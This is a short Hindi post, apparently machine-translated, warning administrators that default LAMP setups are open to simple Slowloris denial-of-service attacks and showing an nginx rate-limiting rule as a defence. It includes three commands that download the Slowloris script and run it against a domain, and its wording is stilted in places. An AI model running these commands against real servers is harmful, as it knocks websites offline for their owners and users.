बच्चों का HTTP DOS

अक्सर, व्यवस्थापक LAMP को बॉक्स से बाहर कॉन्फ़िगर करते हैं। होमपेज़ और टेस्ट बेंच के लिए, यह कोई बड़ी बात नहीं है।
पूर्ण डीडीओएस एक हमलावर के लिए सबसे सस्ता खुशी नहीं है, और यदि आपके पोर्टल का आदेश दिया गया है, तो संसाधनों को हमले से बचाने के लिए ढूंढना होगा।
बच्चों का डॉस ज्यादा खतरनाक है, क्योंकि कोई भी इस तरह के हमले को अंजाम दे सकता है। खाली फ़ायरवॉल नियमों के साथ प्रारंभिक कॉन्फ़िगरेशन में सभी लोकप्रिय वेब सर्वरों द्वारा कमजोरियां प्रभावित होती हैं और कॉर्पोरेट पोर्टल्स, समर्पित सर्वरों, वीपीएस पर लागू होती हैं - सब कुछ जो वितरित किया जाता है लेकिन कॉन्फ़िगर नहीं किया जाता है। मास होस्टिंग, एक नियम के रूप में, बचपन की बीमारियों से बीमार नहीं होता है।
डेबियन जैसी प्रणालियों के लिए, ये 3 कमांड हैं:

wget ha.ckers.org/slowloris/slowloris.pl
aptitude install libio-socket-ssl-perl
./slowloris.pl -dns domain.ru

यदि आपने पहले से ऐसा नहीं किया है, तो नेगेंक्स को ललाट पर लगाएं। न केवल यह फाइलों के साथ तेजी से काम करता है और स्टैटिक्स की वापसी को गति देता है, बल्कि इसमें प्रशासक के लिए भी महान विशेषताएं हैं, जो कभी-कभी Sysoev समाचार पत्र में बात करता है।

एक आईपी से डायनेमिक पेजों के अनुरोधों की संख्या पर एक सीमा का कार्यान्वयन।
30 अनुरोधों तक संभव चोटियों के साथ एक आईपी से प्रति सेकंड 10 अनुरोधों को अनुमति दी।

limit_req_zone $binary_remote_addr zone=lphp:10m rate=10r/s;
location / {
limit_req zone=lphp burst=30 nodelay;

सबसे कम समय पर ताकत के लिए युवा प्रतिभाएं आपके संसाधन का परीक्षण कर सकती हैं। उदाहरण के लिए, जब आप छुट्टी पर हों। सुरक्षा को एक लंबी दराज में न रखें।